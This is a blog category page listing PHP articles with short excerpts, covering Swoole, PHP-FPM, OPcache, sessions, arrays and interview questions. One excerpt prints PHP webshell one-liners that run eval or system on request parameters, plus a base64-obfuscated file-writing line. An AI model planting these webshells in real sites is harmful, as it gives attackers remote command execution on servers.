php
文章平均质量分 79
mysteryflower
这个作者很懒,什么都没留下…
展开
-
Swoole 入门到实战 打造高性能直播赛事平台-笔记
第1章 课程介绍1-1 课程导学Swoole是什么?C语言编写的扩展异步、并行、高性能网络通信引擎异步特性支持协程Swoole应用互联网聊天室在线直播网络游戏Swoole应用网站百度新浪腾讯网授课方式先讲解Swoole基础实战系统监控+优化安装源码安装php7源码安装swoolephp7支持swoole基础篇网络通信引擎进阶篇异步mysql异步redis异步文件异步task任务毫秒定时器进程 协程 内存消息队列拒绝纸上谈兵原创 2021-06-15 13:36:52 · 613 阅读 · 2 评论 -
PHP安装和设置问题
1、下载php多版本文件2、php文件路径放入环境变量里3、将php7.2.34和php7.3.24文件里的php.exe改名为php72.exe和php73.exe4、查看php版本号原创 2020-11-18 11:19:06 · 150 阅读 · 0 评论 -
php-fpm.conf配置文件中文说明详解及重要参数说明
php-fpm全名是PHP FastCGI进程管理器php-fpm启动后会先读php.ini,然后再读相应的conf配置文件,conf配置可以覆盖php.ini的配置。启动php-fpm之后,会创建一个master进程,监听9000端口(可配置),master进程又会根据fpm.conf/www.conf去创建若干子进程,子进程用于处理实际的业务。当有客户端(比如nginx)来连接9000端口时,空闲子进程会自己去accept,如果子进程全部处于忙碌状态,新进的待accept的连接会被maste转载 2020-09-21 17:10:25 · 954 阅读 · 0 评论 -
php-学习笔记汇总
PHP设计模式|观察者模式:https://mp.weixin.qq.com/s/T3GxAWd5Occ3RyWvXjwxZw记一次 PHP 并发性能调优实战 -- 性能提升 104%:https://mp.weixin.qq.com/s/qwwQSzXttaUeZ0RPe5UVuwPHP7新功能总结:https://mp.weixin.qq.com/s/FwHOiJ6_1Nt-qpf5raoMuQphp传值和传引用的区别点总结:https://mp.weixin.qq.com/s/SlX2VM原创 2020-11-06 13:51:14 · 202 阅读 · 0 评论 -
深入理解PHP与WEB服务器交互
1.WEB服务器调用PHP接口 以Apache服务器为例,我们看看该服务器是怎样启动PHP,并调用PHP中的方法。Apache服务器启动并运行PHP时,一般是通过mod_php7模块的形式集成(如果是php5.*版本,就是mod_php5模块,模块后缀名根据php版本而定),mod_php7的结构如下(源码路径为php/sapi/apache2handler/mod_php7.c): ...转载 2019-11-28 18:19:44 · 117 阅读 · 0 评论 -
PHP判断当前使用的是什么浏览器(推荐)
PHP简单判断当前使用的是什么浏览器,判断浏览器类型的方法,方便统计网站访问用户使用浏览器的比例。判断浏览器类型方法一function userBrowser() { $user_OSagent = $_SERVER['HTTP_USER_AGENT']; if (strpos($user_OSagent, "Maxthon") && strpos($user...转载 2019-11-28 18:16:21 · 670 阅读 · 0 评论 -
关于php中对象传值方式的详解
变量赋值与对象赋值对比 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php ...转载 2019-11-28 18:12:24 · 344 阅读 · 0 评论 -
PHP Opcache工作原理
1. 概述在理解 OPCache 功能之前,我们有必要先理解PHP-FPM + Nginx 的工作机制,以及PHP脚本解释执行的机制。1.1 PHP-FPM + Nginx 的工作机制请求从Web浏览器到Nginx,再到PHP处理完成,一共要经历如下五个步骤:第一步:启动服务启动PHP-FPM。PHP-FPM 支持两种通信模式:TCP socket和Unix socket; ...转载 2019-11-11 11:37:49 · 265 阅读 · 0 评论 -
解决 php cli 模式下中文乱码的方法
1、php.ini默认字符集:default_charset = "UTF-8"2、将 cmd 窗口设置成 utf-8 编码。解决办法如下:1. 操作:同时按"win + R" ,并输入 regedit 进入注册表2. 找到 HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe,如果该项下已存在 CodePage 项,则把值...原创 2019-10-29 18:21:06 · 1215 阅读 · 0 评论 -
PHP架构图谱
架构图谱,主要是针对1-5年左右的PHP开发程序员提升的,不管是传统行业还是互联网行业,掌握这些技术都能对自己的技术有一个质的飞跃。一:常见模式与框架学习PHP技术体系,设计模式,流行的框架常见的设计模式,编码必备 Laravel、ThinkPHP开发必不可少的最新框架 YII、Symfony4.1核心源码剖析二:微服务架构与性能优化业务体系越来越复杂,Swoole...转载 2019-10-22 10:44:38 · 1862 阅读 · 0 评论 -
用 Docker 搞定 PHP 开发环境搭建
避坑!用 Docker 搞定 PHP 开发环境搭建(Mac、Docker、Nginx、PHP-FPM、XDebug、PHPStorm、VSCode)因为最近换电脑的缘故需要重新部署一下本地的开发环境,之前采用的虚拟机方案,占用磁盘空间实在是太大,心疼 SSD 那么点地方,所以这次采用了 Docker 的方案来部署。关于这次部署的原则,我的想法是尽量使用官方的镜像来实现,尽量不改动或少...转载 2019-10-22 10:45:13 · 1324 阅读 · 0 评论 -
PHP与SQL语句写一句话木马总结
一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:<?php @eval($_GET["code"])?><?php @system($_POST["cmd"])?>二、编码的替换的类型:<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9wa...转载 2019-10-22 10:45:05 · 489 阅读 · 0 评论 -
php的扩展写法总结
为什么要用C扩展C是静态编译的,执行效率比PHP代码高很多。同样的运算代码,使用C来开发,性能会比PHP要提升数百倍。IO操作如CURL,因为耗时主要在IOWait上,C扩展没有明显优势。另外C扩展是在进程启动时加载的,PHP代码只能操作Request生命周期的数据,C扩展可操作的范围更广。第一步下载PHP的源代码,如php-5.4.16。解压后进入php-5.4.16\ext目录...转载 2019-10-22 10:44:56 · 110 阅读 · 0 评论 -
PHP-FPM详解
目录作用 安装 全局配置 配置进程池参考Company开发环境转发请求给PHP-FPM 思考作用PHP-FPM(PHP FastCGI Process Manager)意:PHP FastCGI 进程管理器,用于管理PHP 进程池的软件,用于接受web服务器的请求。PHP-FPM提供了更好的PHP进程管理方式,可以有效控制内存和进程、可以平滑重载PHP配置。(1). 为...转载 2019-10-21 10:51:21 · 310 阅读 · 0 评论 -
Curl 在 Swoole 协程中的解决方案
视频教程分享码农网:http://www.mano100.cn/rjyfk_url-url.html升级终身会员即可查看网站所有视频教程。PHP程序设计高级教程作者:传智播客高教产品研发部 编著文章正文在 Swoole 应用中,是不推荐使用 Curl 的,因为 Curl 会阻塞进程。本文会用实际的代码和数据,用最直观的方式,让你明白为什么。最后还会...转载 2019-10-21 10:32:36 · 762 阅读 · 0 评论 -
PHP的Trait机制原理与用法分析
本文实例讲述了PHP的Trait机制原理与用法。分享给大家供大家参考,具体如下:Trait介绍:1、自PHP5.4起,PHP实现了一种代码复用的方法,称为trait。2、Trait是为类似PHP的单继承语言二准备的一种代码复用机制。3、Trait为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用method。4、trait实现了代码的复用,突破了单继承的限制...转载 2019-10-21 10:26:37 · 209 阅读 · 0 评论 -
php 比较获取两个数组相同和不同元素的例子(交集和差集)
1、获取数组相同元素array_intersect()该函数比较两个(或更多个)数组的键值,并返回交集数组,该数组包括了所有在被比较的数组(array1)中,同时也在任何其他参数数组(array2 或 array3 等等)中的键值。<?php$a1=array("a"=>"red","b"=>"green","c"=>"blue","d"=>"yello...转载 2019-10-21 10:25:15 · 347 阅读 · 0 评论 -
php基础之连接mysql数据库和查询数据
连接数据库,有三种方法1. 常规方式:$con=mysql_connect($dbhostip,$username,$userpassword) or die("Unable to connect to the MySQL!");$db = mysql_select_db($dbdatabasename,$con);//执行语句$qres=mysql_query("SELECT id,G...转载 2019-10-21 10:23:27 · 330 阅读 · 0 评论 -
PHP模糊查询的实现方法(推荐)
模式查询1. SQL匹配模式2. 正则表达式匹配模式(一般不推荐使用)SQL匹配模式1.使用sql匹配模式,不能使用操作符=或!=,而是使用操作符LIKE或NOT LIKE;2.使用sql匹配模式,MYSQL提供了2种通配符。%表示任意数量的任意字符(其中包括0个)_表示任意单个字符3.使用sql匹配模式,如果匹配格式中不包含以上2种通配符中的任意一个,其查询的效果...转载 2019-10-21 10:20:16 · 2483 阅读 · 0 评论 -
php foreach &
将以下代码打印$variable = ['a', 'b', 'c'];foreach ($variable as $key => &$value) {}foreach ($variable as $key => $value) {}echo "<pre />";var_dump($variable);echo "<pre />...转载 2019-06-13 14:42:34 · 108 阅读 · 0 评论 -
php session存储
session默认缓存文件是存放在本地的,可以通过配置修改sesson数据存储到数据库中.session.save_handler的默认值是files,代表session缓存在本地文件,修改值为 user 代表自定义session.auto_start的默认值是1,代表自动开启会话,修改其值为0,代表关闭会话,如果想开启会话需要调用session_start(),在php.i...原创 2019-06-13 16:46:36 · 1954 阅读 · 0 评论 -
PHP中array_merge函数与array+array的区别
在PHP中可以使用array_merge函数和两个数组相加array+array的方式进行数组合并,但两者效果并不相同,下面为大家介绍两者具体的使用区别.区别如下:当下标为数值时,array_merge()不会覆盖掉原来的值,但array+array合并数组则会把最先出现的值作为最终结果返回,而把后面的数组拥有相同键名的那些值“抛弃”掉(不是覆盖)存在的坑:(我们一般的需求是合并两个...转载 2019-06-13 19:09:15 · 140 阅读 · 0 评论 -
PHP的网站主要攻击方式有哪些?
1、命令注入(Command Injection)2、eval注入(Eval Injection)3、客户端脚本攻击(Script Insertion)4、跨网站脚本攻击(Cross Site Scripting, XSS)5、SQL注入攻击(SQL injection)6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)7、Session 会...转载 2019-06-18 19:58:53 · 872 阅读 · 0 评论 -
PHP正则表达式
php的正则表达式很强大,学好了的确有很大的用处,但是正则表达式的规则很繁琐,所有有一个手册是必要的,这里收集了一个手册。正则表达式定义 正则表达式(regular expression)描述了一种字符串匹配的模式,可以用来检查一个串是否含有某种子串、将匹配的子串做替换或者从某个串中取出符合某个条件的子串等。 列目录时, dir *.txt或ls *.txt中的*.txt就不是...转载 2019-06-19 10:16:16 · 1970 阅读 · 0 评论 -
php中var关键字用法
见很多朋友说在php中定义变量用不用var都没关系,其实不然。看看例子,如果我这样使用var:1 var $a=123;2 echo $a;3 //那么程序会提示语法错误,要去掉var这个变量定义才行。直接4 $a=123;5 echo $a;6 //这样才不会报错,php是弱类型语言,所以不声明类型是没问题的。那var什么时候才能用,请看:1 class Test...转载 2019-06-14 16:15:26 · 313 阅读 · 0 评论 -
PHP中的随机数安全问题
1、引言西湖论剑杯线上预选赛线上赌场一题,明文攻击出来的hint中给了/flag/seed.txt以及一个字符串code,这里需要稍微脑洞一点想到seed是指随机数种子,以及Web页面上的code值是每小时更换的”随机数”:我们利用phpmtseed工具(C编写,速度很快)可以根据随机数碰撞出随机数的种子,从而获取flag:以下是原理分析:2、随机数的安全缺陷随机...转载 2019-06-14 22:11:20 · 1039 阅读 · 0 评论 -
PHP实现定时任务的几种方式
关于定时任务,之前以前认识了一种最常用的:crontab定时任务。通过linux的定时任务去实现。今天又认识了一下php实现定时方式的其它方式,总结一下。一 服务器定时任务服务器定时任务,其实就是unix系统下的crontab实现,具体的设置:Linux定时任务crontab;不过除了直接定时读取php脚本的方式,我们还可以用定时调用接口的方式。运行脚本时:*/1 * * * * ...转载 2019-09-27 10:55:56 · 138 阅读 · 0 评论 -
如何在mysql中存储音乐和图片文件
把二进制的数据,比如图片文件和HTML文件,直接保存在MySQL数据库怎样通过HTML表单来储存这些文件,怎样访问和使用这些文件。本文概述:在mysql中建立一个新的数据库一个怎样储存文件的例子程序一个怎样访问文件的例子程序在mysql中建立一个新的database首先,必须在mysql中建立一个新的数据库,将会把那些二进制文件储存在这个数据库里。在例子中会使用下列结构,为了建立数据...转载 2019-06-26 11:22:38 · 7029 阅读 · 0 评论 -
php面试题
1. 基本知识点HTTP协议中几个状态码的含义:503 500 401 200 301 302。。。Include require include_once require_once 的区别.PHP/Mysql中几个版本的进化史,比如mysql4.0到4.1,PHP 4.x到5.1的重大改进等等。HEREDOC介绍写出一些php魔幻方法;一些编译php时的configure 参数向p...转载 2019-06-26 11:27:26 · 101 阅读 · 0 评论 -
遭遇php的in_array低性能问题
PHP的性能一直在提高。然而,若是用的不恰当,或是一个不留神,还是可能会踩到PHP内部实现方面的坑的。我在前几天的一个性能问题上就碰到了事情是这样子的,一位同事反馈我们的一个接口每次返回需要5秒之久,我们一起review了代码,“惊喜”的发现居然在循环(大约900次)中调用了一个读缓存的操作,而这个缓存的key并没有改变,因此我们把这段代码移到了循环外面,再测,接口返回时间降到了2秒,呜呼!虽然...转载 2019-08-29 10:16:27 · 211 阅读 · 0 评论 -
困扰已久的问题 cgi、fastcgi、PHP-fpm 汇总
一个模糊的概念无论是php,python编程语言,还是apache,nginx服务器对于cgi协议是个绕不开的话题。安装,部署都会经常的看到,那么它们到底是干什么的,网上的答案非常的多!今天通过它们进行一波汇总,彻底告别这个难关。参考:https://www.dayuzy.com/?p=476HTTP到cgi协议当浏览器的客户端输入网站走http协议到了web服务器,比如apache,...转载 2019-08-28 13:36:03 · 477 阅读 · 0 评论 -
PHP中const,static,public,private,protected的区别
const: 定义常量,一般定义后不可改变static: 静态,类名可以访问public: 表示全局,类内部外部子类都可以访问;private: 表示私有的,只有本类内部可以使用;protected: 表示受保护的,只有本类或子类或父类中可以访问;定义常量也可用define定义。const与define在定义常量时会有如下区别: const用于类成员变量,一经定义...转载 2019-10-22 10:45:46 · 295 阅读 · 0 评论 -
PHP获取网页内容的几种方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30...转载 2019-06-26 13:51:23 · 1272 阅读 · 0 评论 -
对PHP变量的实现方式以及内存管理的梳理
变量局部变量 PHP中局部变量分配在zend_execute_data结构上,每次执行zend_op_array都会生成一个新的zend_execute_data 局部变量通过编译时确定的编号进行读写操作静态变量 静态变量只会在编译时初始化,保存在zend_op_array->static_variables 这个哈希表中 静态变量通过哈希表保存,这就使得能像普通变量那样有一个固定的编...转载 2019-08-29 10:18:20 · 271 阅读 · 1 评论 -
php底层原理之垃圾回收机制
php垃圾回收机制,对于PHPer来说是一个不陌生但是又不是很熟悉的内容。那么php是怎么实现对不需要的内存进行回收的呢?php变量的内部存储结构首先还是需要了解下基础知识,便于垃圾回收原理内容的理解。大家都知道php是由C编写而成的,所以php变量的内部存储结构也会和C语言相关,即zval的结构体:struct _zval_struct { union { ...转载 2019-08-29 10:17:39 · 290 阅读 · 0 评论 -
从php内核角度分析php弱类型
前言在CTF比赛中PHP弱类型的特性常常被用上,但我们往往知其然不知其所以然,究竟为什么PHP是弱类型呢?很少人深究。在这次源码分析的过程中我收获很大,第一次学会了如何深入理解一个问题,虽然花费了我很多时间,但这可以说是一段非常值得的经历。正文首先引入一个问题,为什么以下结果是恒为真的呢?var_dump([]>1);var_dump([]>0);var_dump...转载 2019-08-29 10:16:49 · 142 阅读 · 0 评论 -
PHP中的call_user_func()与call_user_func_array()简单理解
call_user_func:把一个参数作为回调函数调用用法说明:call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed参数说明:第一个参数$callback作为回调函数,其它参数都是回调函数的参数。$parameter:传入回调$callback函数的参数,这里的参...转载 2019-09-27 10:54:39 · 379 阅读 · 0 评论 -
PHP 中的转义函数小结
代码审计的时候经常会遇到种类繁杂的转义函数,最可怕的是他们长的都很像,还是拿出来总结一下吧。0X01 addslashes() –>(PHP 4, PHP 5, PHP 7)用法:string addslashes ( string $str )返回值:返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(”)、反斜线(...转载 2019-09-27 10:54:24 · 1140 阅读 · 0 评论 -
PHP获取HTTP body内容的方法总结
有时候我们获取数据时需要根据Header中的格式来解析,比如上传一个json而不是一个文本。这里用到了 php输入|输出流 的概念。PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。本文涉及到了了,php://input,详尽内容请参阅官网:点击查看官网(http:...转载 2019-09-27 10:54:09 · 1873 阅读 · 0 评论 -
PHP获取对象属性的三种方法实例分析
今天查看yii源码,发现yii\base\Model中的attribute()方法是通过反射获取对象的public non-static属性。记得以前看到的代码都是用get_object_vars()这个函数获取的,昨天查看php文档,发现还可以用foreach遍历对象属性。于是写个例子练习下。class TestClass { private $a; protected $b; ...转载 2019-10-22 10:46:11 · 1143 阅读 · 0 评论